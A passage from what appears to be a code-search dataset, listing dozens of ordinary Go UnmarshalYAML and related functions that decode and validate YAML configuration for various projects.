error\n\t*i, err = ChannelNameString(s)\n\treturn err\n}","func (l *TestLimits) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif defaultTestLimits != nil {\n\t\t*l = *defaultTestLimits\n\t}\n\ttype plain TestLimits\n\treturn unmarshal((*plain)(l))\n}","func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar v interface{}\n\terr := unmarshal(&v)\n\tif err != nil {\n\t\treturn err\n\t}\n\td.Duration, err = durationFromInterface(v)\n\tif d.Duration < 0 {\n\t\td.Duration *= -1\n\t}\n\treturn err\n}","func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}","func (c *NamespaceCondition) UnmarshalFromYaml(data []byte) error {\n\treturn yaml.Unmarshal(data, c)\n}","func RunYaml(cmd *cobra.Command, args []string) {\n\tc := LoadOperatorConf(cmd)\n\tp := printers.YAMLPrinter{}\n\tutil.Panic(p.PrintObj(c.NS, os.Stdout))\n\tutil.Panic(p.PrintObj(c.SA, os.Stdout))\n\tutil.Panic(p.PrintObj(c.Role, os.Stdout))\n\tutil.Panic(p.PrintObj(c.RoleBinding, os.Stdout))\n\tutil.Panic(p.PrintObj(c.SAEndpoint, os.Stdout))\n\tutil.Panic(p.PrintObj(c.RoleEndpoint, os.Stdout))\n\tutil.Panic(p.PrintObj(c.RoleBindingEndpoint, os.Stdout))\n\tutil.Panic(p.PrintObj(c.ClusterRole, os.Stdout))\n\tutil.Panic(p.PrintObj(c.ClusterRoleBinding, os.Stdout))\n\tnoDeploy, _ := cmd.Flags().GetBool(\"no-deploy\")\n\tif !noDeploy {\n\t\tutil.Panic(p.PrintObj(c.Deployment, os.Stdout))\n\t}\n}","func (c *Count) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&c.AdvancedCount); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := c.AdvancedCount.IsValid(); err != nil {\n\t\treturn err\n\t}\n\n\tif !c.AdvancedCount.IsEmpty() {\n\t\t// Successfully unmarshalled AdvancedCount fields, return\n\t\treturn nil\n\t}\n\n\tif err := unmarshal(&c.Value); err != nil {\n\t\treturn errUnmarshalCountOpts\n\t}\n\treturn nil\n}","func (c *Count) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&c.AdvancedCount); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !c.AdvancedCount.IsEmpty() {\n\t\t// Successfully unmarshalled AdvancedCount fields, return\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&c.Value); err != nil {\n\t\treturn errUnmarshalCountOpts\n\t}\n\treturn nil\n}","func (c *Scenario) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype C Scenario\n\tnewConfig := (*C)(c)\n\tif err := unmarshal(&newConfig); err != nil {\n\t\treturn err\n\t}\n\tif c.Database == nil {\n\t\treturn fmt.Errorf(\"Database must not be empty\")\n\t}\n\tif c.Collection == nil {\n\t\treturn fmt.Errorf(\"Collection must not be empty\")\n\t}\n\tswitch p := c.Parallel; {\n\tcase p == nil:\n\t\tc.Parallel = Int(1)\n\tcase *p < 1:\n\t\treturn fmt.Errorf(\"Parallel must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.BufferSize; {\n\tcase s == nil:\n\t\tc.BufferSize = Int(1000)\n\tcase *s < 1:\n\t\treturn fmt.Errorf(\"BufferSize must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.Repeat; {\n\tcase s == nil:\n\t\tc.Repeat = Int(1)\n\tcase *s < 0:\n\t\treturn fmt.Errorf(\"Repeat must be greater than or equal to 0\")\n\tdefault:\n\t}\n\tif len(c.Queries) == 0 {\n\t\treturn fmt.Errorf(\"Queries must not be empty\")\n\t}\n\treturn nil\n}","func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\n\tif value.Kind != yaml.MappingNode {\n\t\treturn errors.New(\"expected mapping\")\n\t}\n\n\tgc.versions = make(map[string]*VersionConfiguration)\n\tvar lastId string\n\n\tfor i, c := range value.Content {\n\t\t// Grab identifiers and loop to handle the associated value\n\t\tif i%2 == 0 {\n\t\t\tlastId = c.Value\n\t\t\tcontinue\n\t\t}\n\n\t\t// Handle nested version metadata\n\t\tif c.Kind == yaml.MappingNode {\n\t\t\tv := NewVersionConfiguration(lastId)\n\t\t\terr := c.Decode(&v)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"decoding yaml for %q\", lastId)\n\t\t\t}\n\n\t\t\tgc.addVersion(lastId, v)\n\t\t\tcontinue\n\t\t}\n\n\t\t// $payloadType: \n\t\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\n\t\t\tswitch strings.ToLower(c.Value) {\n\t\t\tcase string(OmitEmptyProperties):\n\t\t\t\tgc.PayloadType.Set(OmitEmptyProperties)\n\t\t\tcase string(ExplicitCollections):\n\t\t\t\tgc.PayloadType.Set(ExplicitCollections)\n\t\t\tcase string(ExplicitProperties):\n\t\t\t\tgc.PayloadType.Set(ExplicitProperties)\n\t\t\tdefault:\n\t\t\t\treturn errors.Errorf(\"unknown %s value: %s.\", payloadTypeTag, c.Value)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// No handler for this value, return an error\n\t\treturn errors.Errorf(\n\t\t\t\"group configuration, unexpected yaml value %s: %s (line %d col %d)\", lastId, c.Value, c.Line, c.Column)\n\t}\n\n\treturn nil\n}","func (date *Date) UnmarshalYAML(value *yaml.Node) (err error) {\n\tvar d string\n\tif err = value.Decode(&d); err != nil {\n\t\treturn err\n\t}\n\t// check data format\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn err\n\t}\n\n\t*date = Date(d)\n\treturn nil\n}","func (m *BootstrapMode) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\n\t// If unspecified, use default mode.\n\tif str == \"\" {\n\t\t*m = DefaultBootstrapMode\n\t\treturn nil\n\t}\n\n\tfor _, valid := range validBootstrapModes {\n\t\tif str == valid.String() {\n\t\t\t*m = valid\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn fmt.Errorf(\"invalid BootstrapMode '%s' valid types are: %s\",\n\t\tstr, validBootstrapModes)\n}","func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype raw Config\n\tvar cfg raw\n\tif c.URL.URL != nil {\n\t\t// we used flags to set that value, which already has sane default.\n\t\tcfg = raw(*c)\n\t} else {\n\t\t// force sane defaults.\n\t\tcfg = raw{\n\t\t\tBackoffConfig: util.BackoffConfig{\n\t\t\t\tMaxBackoff: 5 * time.Second,\n\t\t\t\tMaxRetries: 5,\n\t\t\t\tMinBackoff: 100 * time.Millisecond,\n\t\t\t},\n\t\t\tBatchSize: 100 * 1024,\n\t\t\tBatchWait: 1 * time.Second,\n\t\t\tTimeout: 10 * time.Second,\n\t\t}\n\t}\n\n\tif err := unmarshal(&cfg); err != nil {\n\t\treturn err\n\t}\n\n\t*c = Config(cfg)\n\treturn nil\n}","func (c *NodeSelectorCondition) UnmarshalFromYaml(data []byte) error {\n\treturn yaml.Unmarshal(data, c)\n}"],"string":"[\n \"func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Field)\\n}\",\n \"func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Field)\\n}\",\n \"func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar addRaw opAddRaw\\n\\terr := unmarshal(&addRaw)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"decode OpAdd: %s\\\", err)\\n\\t}\\n\\n\\treturn op.unmarshalFromOpAddRaw(addRaw)\\n}\",\n \"func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn e.unmarshalWith(unmarshal)\\n}\",\n \"func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Fields)\\n}\",\n \"func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar err error\\n\\tvar str string\\n\\tif err = unmarshal(&str); err == nil {\\n\\t\\tw.Command = str\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar commandArray []string\\n\\tif err = unmarshal(&commandArray); err == nil {\\n\\t\\tw.Commands = commandArray\\n\\t\\treturn nil\\n\\t}\\n\\treturn nil //TODO: should be an error , something like UNhhandledError\\n}\",\n \"func (a *RelabelAction) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tswitch act := RelabelAction(strings.ToLower(s)); act {\\n\\tcase RelabelReplace, RelabelKeep, RelabelDrop, RelabelHashMod, RelabelLabelMap, RelabelLabelDrop, RelabelLabelKeep:\\n\\t\\t*a = act\\n\\t\\treturn nil\\n\\t}\\n\\treturn fmt.Errorf(\\\"unknown relabel action %q\\\", s)\\n}\",\n \"func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\\n\\ttag := GetTag(node.Value)\\n\\tf.Name = tag.Name\\n\\tf.Negates = tag.Negates\\n\\tlog.Tracef(\\\"Unmarshal %s into %s\\\\n\\\", node.Value, tag)\\n\\treturn nil\\n}\",\n \"func (i *Transform) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = ParseTransformString(s)\\n\\treturn err\\n}\",\n \"func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn nil\\n}\",\n \"func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype tmp Connection\\n\\tvar s struct {\\n\\t\\ttmp `yaml:\\\",inline\\\"`\\n\\t}\\n\\n\\terr := unmarshal(&s)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unable to parse YAML: %s\\\", err)\\n\\t}\\n\\n\\t*r = Connection(s.tmp)\\n\\n\\tif err := utils.ValidateTags(r); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// If options weren't specified, create an empty map.\\n\\tif r.Options == nil {\\n\\t\\tr.Options = make(map[string]interface{})\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain Secret\\n\\treturn unmarshal((*plain)(s))\\n}\",\n \"func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain Secret\\n\\treturn unmarshal((*plain)(s))\\n}\",\n \"func (msg *RawMessage) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tmsg.unmarshal = unmarshal\\n\\treturn nil\\n}\",\n \"func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t// unmarshal into stepUnmarshaller instead of Step for dynamic unmarshalling Request/Expect\\n\\tvar unmarshaled stepUnmarshaller\\n\\tif err := unmarshal(&unmarshaled); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ts.Title = unmarshaled.Title\\n\\ts.Description = unmarshaled.Description\\n\\ts.Vars = unmarshaled.Vars\\n\\ts.Protocol = unmarshaled.Protocol\\n\\ts.Include = unmarshaled.Include\\n\\ts.Ref = unmarshaled.Ref\\n\\ts.Bind = unmarshaled.Bind\\n\\ts.Timeout = unmarshaled.Timeout\\n\\ts.PostTimeoutWaitingLimit = unmarshaled.PostTimeoutWaitingLimit\\n\\ts.Retry = unmarshaled.Retry\\n\\n\\tp := protocol.Get(s.Protocol)\\n\\tif p == nil {\\n\\t\\tif unmarshaled.Request != nil || unmarshaled.Expect != nil {\\n\\t\\t\\treturn errors.Errorf(\\\"unknown protocol: %s\\\", s.Protocol)\\n\\t\\t}\\n\\t\\treturn nil\\n\\t}\\n\\tif unmarshaled.Request != nil {\\n\\t\\tinvoker, err := p.UnmarshalRequest(unmarshaled.Request)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\ts.Request = invoker\\n\\t}\\n\\tbuilder, err := p.UnmarshalExpect(unmarshaled.Expect)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ts.Expect = builder\\n\\n\\treturn nil\\n}\",\n \"func (s *ArtifactoryParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain ArtifactoryParams\\n\\tif err := unmarshal((*plain)(s)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t// new temp as map[string]interface{}.\\n\\ttemp := make(map[string]interface{})\\n\\n\\t// unmarshal temp as yaml.\\n\\tif err := unmarshal(temp); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn this.unmarshal(temp)\\n}\",\n \"func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\\n\\tvo := reflect.ValueOf(o)\\n\\tunmarshalFn := yaml.Unmarshal\\n\\tif strict {\\n\\t\\tunmarshalFn = yaml.UnmarshalStrict\\n\\t}\\n\\tj, err := yamlToJSON(y, &vo, unmarshalFn)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error converting YAML to JSON: %v\\\", err)\\n\\t}\\n\\n\\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error unmarshaling JSON: %v\\\", err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func UnmarshalYAML(config *YAMLConfiguration, path string) {\\n\\tdata, err := ioutil.ReadFile(path)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\terr = yaml.Unmarshal(data, config)\\n\\tif err != nil {\\n\\t\\tfmt.Println(err)\\n\\t\\tos.Exit(1)\\n\\t}\\n}\",\n \"func yamlDecode(ctx *pulumi.Context, text string, opts ...pulumi.InvokeOption) ([]map[string]interface{}, error) {\\n\\targs := struct {\\n\\t\\tText string `pulumi:\\\"text\\\"`\\n\\t}{Text: text}\\n\\tvar ret struct {\\n\\t\\tResult []map[string]interface{} `pulumi:\\\"result\\\"`\\n\\t}\\n\\n\\tif err := ctx.Invoke(\\\"kubernetes:yaml:decode\\\", &args, &ret, opts...); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn ret.Result, nil\\n}\",\n \"func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar strVal string\\n\\terr := unmarshal(&strVal)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tparsed, err := Parse(strVal)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*b = parsed\\n\\treturn nil\\n}\",\n \"func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype rawContainerDef ContainerDef\\n\\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\\n\\tif err := unmarshal(&raw); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*cd = ContainerDef(raw)\\n\\treturn nil\\n}\",\n \"func (r *Run) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar cl CommandList\\n\\tcommandCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&cl) },\\n\\t\\tAssign: func() { *r = Run{Command: cl} },\\n\\t}\\n\\n\\ttype runType Run // Use new type to avoid recursion\\n\\tvar runItem runType\\n\\trunCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&runItem) },\\n\\t\\tAssign: func() { *r = Run(runItem) },\\n\\t\\tValidate: func() error {\\n\\t\\t\\tactionUsedList := []bool{\\n\\t\\t\\t\\tlen(runItem.Command) != 0,\\n\\t\\t\\t\\tlen(runItem.SubTaskList) != 0,\\n\\t\\t\\t\\trunItem.SetEnvironment != nil,\\n\\t\\t\\t}\\n\\n\\t\\t\\tcount := 0\\n\\t\\t\\tfor _, isUsed := range actionUsedList {\\n\\t\\t\\t\\tif isUsed {\\n\\t\\t\\t\\t\\tcount++\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\tif count > 1 {\\n\\t\\t\\t\\treturn errors.New(\\\"only one action can be defined in `run`\\\")\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn nil\\n\\t\\t},\\n\\t}\\n\\n\\treturn marshal.UnmarshalOneOf(commandCandidate, runCandidate)\\n}\",\n \"func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\\n\\tvar j string\\n\\terr := yaml.Unmarshal([]byte(n.Value), &j)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\\n\\t*s = toID[j]\\n\\treturn nil\\n}\",\n \"func (t *Task) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar rawTask map[string]interface{}\\n\\terr := unmarshal(&rawTask)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"failed to unmarshal task: %s\\\", err)\\n\\t}\\n\\n\\trawName, ok := rawTask[\\\"name\\\"]\\n\\tif !ok {\\n\\t\\treturn errors.New(\\\"missing 'name' field\\\")\\n\\t}\\n\\n\\ttaskName, ok := rawName.(string)\\n\\tif !ok || taskName == \\\"\\\" {\\n\\t\\treturn errors.New(\\\"'name' field needs to be a non-empty string\\\")\\n\\t}\\n\\n\\tt.Name = taskName\\n\\n\\t// Delete name field, since it doesn't represent an action\\n\\tdelete(rawTask, \\\"name\\\")\\n\\n\\tfor actionType, action := range rawTask {\\n\\t\\taction, err := actions.UnmarshalAction(actionType, action)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"failed to unmarshal action %q from task %q: %s\\\", actionType, t.Name, err)\\n\\t\\t}\\n\\n\\t\\tt.Actions = append(t.Actions, action)\\n\\t}\\n\\n\\tif len(t.Actions) == 0 {\\n\\t\\treturn fmt.Errorf(\\\"task %q has no actions\\\", t.Name)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (act *Action) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t// creating anonimus struct to avoid recursion\\n\\tvar a struct {\\n\\t\\tName ActionType `yaml:\\\"type\\\"`\\n\\t\\tTimeout time.Duration `yaml:\\\"timeout,omitempty\\\"`\\n\\t\\tOnFail onFailAction `yaml:\\\"on-fail,omitempty\\\"`\\n\\t\\tInterval time.Duration `yaml:\\\"interval,omitempty\\\"`\\n\\t\\tEnabled bool `yaml:\\\"enabled,omitempty\\\"`\\n\\t\\tRecordPending bool `yaml:\\\"record-pending,omitempty\\\"`\\n\\t\\tRole actionRole `yaml:\\\"role,omitempty\\\"`\\n\\t}\\n\\t// setting default\\n\\ta.Name = \\\"defaultName\\\"\\n\\ta.Timeout = 20 * time.Second\\n\\ta.OnFail = of_ignore\\n\\ta.Interval = 20 * time.Second\\n\\ta.Enabled = true\\n\\ta.RecordPending = false\\n\\ta.Role = ar_none\\n\\tif err := unmarshal(&a); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// copying into aim struct fields\\n\\t*act = Action{a.Name, a.Timeout, a.OnFail, a.Interval,\\n\\t\\ta.Enabled, a.RecordPending, a.Role, nil}\\n\\treturn nil\\n}\",\n \"func (c *VictorOpsConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultVictorOpsConfig\\n\\ttype plain VictorOpsConfig\\n\\tif err := unmarshal((*plain)(c)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif c.APIKey == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"missing API key in VictorOps config\\\")\\n\\t}\\n\\tif c.RoutingKey == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"missing Routing key in VictorOps config\\\")\\n\\t}\\n\\treturn checkOverflow(c.XXX, \\\"victorops config\\\")\\n}\",\n \"func (w *BuildWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar err error\\n\\tvar buildString string\\n\\tif err = unmarshal(&buildString); err == nil {\\n\\t\\t//str := command\\n\\t\\t//*w = CommandWrapper(str)\\n\\t\\tw.BuildString = buildString\\n\\t\\treturn nil\\n\\t}\\n\\t// if err != nil {\\n\\t// \\treturn err\\n\\t// }\\n\\t// return json.Unmarshal([]byte(str), w)\\n\\n\\tvar buildObject map[string]string\\n\\tif err = unmarshal(&buildObject); err == nil {\\n\\t\\t//str := command\\n\\t\\t//*w = CommandWrapper(commandArray[0])\\n\\t\\tw.BuildObject = buildObject\\n\\t\\treturn nil\\n\\t}\\n\\treturn nil //should be an error , something like UNhhandledError\\n}\",\n \"func (key *PrivateKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar str string\\n\\terr := unmarshal(&str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*key, err = NewPrivateKey(str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *TokenStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar t string\\n\\terr := unmarshal(&t)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif val, ok := toStrategy[strings.ToLower(t)]; ok {\\n\\t\\t*s = val\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn fmt.Errorf(\\\"'%s' is not a valid token strategy\\\", t)\\n}\",\n \"func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&b.Kv)\\n}\",\n \"func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar ktyp string\\n\\terr := unmarshal(&ktyp)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*k = KeventNameToKtype(ktyp)\\n\\treturn nil\\n}\",\n \"func (i *Int) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate int\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ti.set(candidate)\\n\\treturn nil\\n}\",\n \"func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar u64 uint64\\n\\tif unmarshal(&u64) == nil {\\n\\t\\tAtomicStoreByteCount(bc, ByteCount(u64))\\n\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar s string\\n\\tif unmarshal(&s) == nil {\\n\\t\\tv, err := ParseByteCount(s)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"%q: %w: %v\\\", s, ErrMalformedRepresentation, err)\\n\\t\\t}\\n\\t\\tAtomicStoreByteCount(bc, v)\\n\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn fmt.Errorf(\\\"%w: unexpected type\\\", ErrMalformedRepresentation)\\n}\",\n \"func (i *UserGroupAccess) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = UserGroupAccessString(s)\\n\\treturn err\\n}\",\n \"func (i *Interface) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = InterfaceString(s)\\n\\treturn err\\n}\",\n \"func (ep *Endpoint) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tp, err := ParseEndpoint(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*ep = *p\\n\\treturn nil\\n}\",\n \"func (p *PortMapping) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype Alias PortMapping\\n\\taux := &struct {\\n\\t\\tProtocol string `json:\\\"protocol\\\"`\\n\\t\\t*Alias\\n\\t}{\\n\\t\\tAlias: (*Alias)(p),\\n\\t}\\n\\tif err := unmarshal(&aux); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif aux.Protocol != \\\"\\\" {\\n\\t\\tval, ok := PortMappingProtocolNameToValue[strings.ToUpper(aux.Protocol)]\\n\\t\\tif !ok {\\n\\t\\t\\treturn fmt.Errorf(\\\"unknown protocol value: %s\\\", aux.Protocol)\\n\\t\\t}\\n\\t\\tp.Protocol = PortMappingProtocol(val)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate bool\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tb.set(candidate)\\n\\treturn nil\\n}\",\n \"func (r *rawMessage) UnmarshalYAML(b []byte) error {\\n\\t*r = b\\n\\treturn nil\\n}\",\n \"func (at *SecurityCheck) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar res map[string]interface{}\\n\\tif err := unmarshal(&res); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\terr := mapstructure.Decode(res, &at)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif at.TestType == common.NonApplicableTest || at.TestType == common.ManualTest {\\n\\t\\tat.NonApplicable = true\\n\\t}\\n\\treturn nil\\n}\",\n \"func (y *PipelineYml) Unmarshal() error {\\n\\n\\terr := yaml.Unmarshal(y.byteData, &y.obj)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif y.obj == nil {\\n\\t\\treturn errors.New(\\\"PipelineYml.obj is nil pointer\\\")\\n\\t}\\n\\n\\t//err = y.Evaluate(applyEnvsWithPriority(y.metadata.publicTemplateVars, y.metadata.secretTemplateVars))\\n\\t//if err != nil {\\n\\t//\\treturn err\\n\\t//}\\n\\n\\t// re unmarshal to obj, because byteData updated by evaluate\\n\\terr = yaml.Unmarshal(y.byteData, &y.obj)\\n\\treturn err\\n}\",\n \"func (options *Options) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype defaults Options\\n\\tdefaultValues := defaults(*NewOptions())\\n\\n\\tif err := unmarshal(&defaultValues); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*options = Options(defaultValues)\\n\\n\\tif options.SingleLineDisplay {\\n\\t\\toptions.ShowSummaryFooter = false\\n\\t\\toptions.CollapseOnCompletion = false\\n\\t}\\n\\n\\t// the global options must be available when parsing the task yaml (todo: does order matter?)\\n\\tglobalOptions = options\\n\\treturn nil\\n}\",\n \"func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\\n\\ttype confAlias Config\\n\\taliased := confAlias(NewConfig())\\n\\n\\terr := value.Decode(&aliased)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %v\\\", value.Line, err)\\n\\t}\\n\\n\\tif aliased.Type, _, err = docs.GetInferenceCandidateFromYAML(nil, docs.TypeTracer, aliased.Type, value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %w\\\", value.Line, err)\\n\\t}\\n\\n\\t*conf = Config(aliased)\\n\\treturn nil\\n}\",\n \"func (m *Mount) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype Alias Mount\\n\\taux := &struct {\\n\\t\\tPropagation string `yaml:\\\"propagation\\\"`\\n\\t\\t*Alias\\n\\t}{\\n\\t\\tAlias: (*Alias)(m),\\n\\t}\\n\\tif err := unmarshal(&aux); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// if unset, will fallback to the default (0)\\n\\tif aux.Propagation != \\\"\\\" {\\n\\t\\tval, ok := MountPropagationNameToValue[aux.Propagation]\\n\\t\\tif !ok {\\n\\t\\t\\treturn fmt.Errorf(\\\"unknown propagation value: %s\\\", aux.Propagation)\\n\\t\\t}\\n\\t\\tm.Propagation = MountPropagation(val)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (mv *Move) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tparsed, err := ParseMove(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*mv = *parsed\\n\\treturn nil\\n}\",\n \"func (a *ApprovalStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar j string\\n\\tif err := unmarshal(&j); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// Note that if the string cannot be found then it will be set to the zero value, 'Created' in this case.\\n\\t*a = approvalStrategyToID[strings.ToLower(j)]\\n\\treturn nil\\n}\",\n \"func (s *TestFileParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain TestFileParams\\n\\tif err := unmarshal((*plain)(s)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif s.Size == 0 {\\n\\t\\treturn errors.New(\\\"File 'size' must be defined\\\")\\n\\t}\\n\\tif s.HistogramBucketPush == nil {\\n\\t\\treturn errors.New(\\\"File 'histogram_bucket_push' must be defined\\\")\\n\\t}\\n\\tif s.HistogramBucketPull == nil {\\n\\t\\treturn errors.New(\\\"File 